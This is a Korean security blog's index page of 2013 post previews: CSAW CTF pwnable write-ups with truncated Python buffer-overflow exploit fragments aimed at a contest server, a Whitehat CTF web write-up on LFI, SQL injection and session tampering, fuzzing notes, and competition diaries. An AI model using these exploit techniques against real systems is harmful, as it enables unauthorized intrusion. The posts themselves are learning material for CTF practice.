sweetchip's blog

얼마전 pydbg로 새로운 Fuzzer를 제작했는데 얼마전에 Python으로 API를 사용하여 디버거를 만들었다가 Access Violation을 제대로 잡지 못하는 참상을 겪었기에 다른분들이 퍼져를 만들때 사용하셨던 pydbg를 이용해서 만들기로 했습니다만 설치부터 문제가 생겨서 설치만 몇시간을 날렸습니다. 하지만 그러다가 곧 검색을 통해서 사막의 오아시스처럼 pydbg를 설치할수 있는 방법을 배포하시는 블로거 분을 발견했고 바로 따라했습니다. http://ethobis.tistory.com/entry/Python-27-PeiMei-Pydbg-사용방법 [아래 나올 자료도 블로거님의 자료임을 미리 알립니다.] [또한 이 자료는 Windows XP 기준으로 설명했습니다.] 우선 파이썬 2.7.3을 기준으로..

0x10 정보보안/0x14 Reverse Engineering 2013. 10. 4. 17:26

왜 이문제를 헤맷는지 모르겟지만. 어쨋든 대회중엔 시간이 하루밖에 안나서 못푼 문제다. 근데 오늘 갑자기 아이디어가 팍 떠오르고 바로 exploit을 시도했다. fil_chal Aslr : Off (fork())NX : Off (execstack : X) from struct import pack, unpackimport time p = lambda x : pack(" ") 브루트 포싱으로 쉘을 따는건데 약간 느려서 주소를 설정해서 작성햇다. 대회시간대가 아니라 csaw 서버에서 못풀고 로컬에서 풀엇다 ㅠㅠ ///////////////////////////////////////////////////////////////////////////////////////////////////////////////..

0x10 정보보안/0x13 Write-Up 2013. 9. 23. 22:51

버퍼 주소까지 그냥 줘서 까나리만 맞춰주고 금방 잘 풀수 있엇다. 처음에는 canary가 잇는줄 모르고 분명히 exploit 코드가 맞는데 라고 생각하면서 고집부리다가 피본 문제다;; canary를 맞춰주지 않으면 return 이 아닌 exit 을 하기때문에 eip가 변조되지 않는다. exploit2 Aslr : Off (fork())NX : Off (execstack : X) from socket import *from struct import pack, unpackimport time #csaw exploitation level2p = lambda x : pack(" ")

0x10 정보보안/0x13 Write-Up 2013. 9. 23. 22:48

csaw대회에서 비교적 쉬운 포너블 문제로 생애 처음으로 ctf중에 리모트 쉘을 따는것을 성공했다. 아 물론 이 문제는 아니지만.. ㅎㅎ 한줄요약 : Simple Buffer Overflow exploit1 Aslr : Off (fork())NX : Off (execstack : X) from Tkinter import Tkfrom socket import *import time HOST = "128.238.66.212"PORT = 31337 a = "A"*1016a = '1' print "[*] Sending Exploit Codes.." s = socket(AF_INET,SOCK_STREAM)s.connect((HOST,PORT))s.recv(12070)time.sleep(0.4)s.send(a)ti..

0x10 정보보안/0x13 Write-Up 2013. 9. 23. 22:47

여러모로 멘탈붕괴를 제대로 먹여준 화이트햇.. 그중 웹 문제는 타임 오버로 풀게되어 인증을 하지 못했엇는데 그 아쉬움을 포스팅으로 풀어보려 합니다 ㅋㅋ 문제 페이지는 이렇게 생겻는데 카라의 한승연 팬페이지를 컨셉으로 잡은 취약점이 존재하는 페이지입니다. 왠지 꼭 비밀글을 읽어야 할거같은 분위기라서 분위기에 따라가기로 했습니다. 우선 풀이방법을 한줄요약하면 SQL Injection과 SESSION 조작입니다. 팬페이지에는 LFI 취약점이 존재하며, INC 파일을 include 시키는 방식이었습니다. 위 파라미터에 아무 값을 삽입하면 include 에러가 발생하며, inc 파일을 찾을수 없다고 나오는데, 그 에러 메세지를 찾아 inc 파일들을 살펴볼 수 있었습니다. inc 파일에는 웹페이지의 소스코드가 담겨..

0x10 정보보안/0x13 Write-Up 2013. 9. 18. 19:12

2013년 9월 13일 순천향대학교 주최 정보보호페스티벌의 시상식과 보안캠프가 열렸습니다. 보안캠프는 순천향대학교 부근의 중, 고등학교 학생들과 수상자를 대상으로 진행했다고 합니다. 총 124명의 참가자중 저는 예선5위, 본선8위[항상 본선에서는 순위가 하락..]로 KT충남 본부장 상을 수여받게 되었습니다. 아침 6시에 일어나서 노트북과 기타등등을 챙기고 용산역에서 3위와 KTX를 타고 천안아산역에 도착한뒤, 순천향대에 근접한 역에 도착했습니다. [아산역...?] 그후에 택시를 타고 기본요금으로 대학교에 도착할 수 있엇는데 그땐 이미 1등 setuid0가 도착해 있었고 3명이서 잠시 잡다한 이야기를 하고 시상식이 시작되었습니다. 상품은 학과분들이 안알랴주셔서 받은 후에야 알 수 있었습니다 ㅋㅋ [처음엔 ..

0x20 일상/0x21 일상 2013. 9. 18. 12:56

한창 bob 과제로 바쁘다가.. 이제는 좀 여유로워 졌습니다. 대학교 원서도 넣어야 하고 bob 프로젝트도 해야하고 다시 또 바쁜 한달이 될것 같습니다.. -_-;;; BOB수업때 심준보 멘토님의 윈도우 Exploit에 대한 내용을 보고 배우던 여러가지중 기억에 남는게 하나 있습니다. 프로그램의 취약점을 찾기위해 Fuzzing을 하고 나온 크래시들을 이용해서 Exploit하는데 크래시를 분석하는게 상당히 노가다입니다. 그래서 그나마 쉽게 1차적으로 분류하는 것을 간략하게 배웠습니다. 윈도우 프로그램들을 퍼징해서 나온 크래시들을 분류할때 여러 방법이 있고 크게 4가지로 분류한다고 하셨는데 이것이 MS에서 분류 하는것이라고 하시더군요! 그래서 더 듣고보니 이번 1월달 취약점을 Exploit할때 접했던 Win..

0x10 정보보안/0x15 System 2013. 9. 1. 21:03

사진 펌 - 페이스북 YISF 페이지 2013년 8월 25일 오전 10시부터 오후 6시까지 8시간에 걸쳐 순천향대 정보보호페스티벌 본선이 치뤄졌습니다. 본선 진출자 명단 - YISF 펌 서울에서 약간 먼 거리이기 떄문에 집에서 지하철과 버스를 병행해서 가려면 3시간 30분이라는 엄청난 시간이 걸린다고 했기에 저는 BOB 교육생 친구 3명과 KTX를 타고 가기로 했습니다. 용산역 -> 천안아산역 -> 순천향대 오전 6시 정각쯤에 약 45분 정도 걸릴줄 알았던 용산역 까지 20분도 안되서 도착했습니다. [아빠가 태워주셨습니다 ㅎㅎ]... 편해서 좋긴 했지만 너무 빨리 나온탓에 의자에 앉아서 졸고 있었는데 금새 7시가 됬습니다. 7시 23분 ktx를 타고 50분쯤 천안 아산역에 도착을 하고 의논끝에 택시를 타..

0x20 일상/0x21 일상 2013. 8. 26. 22:23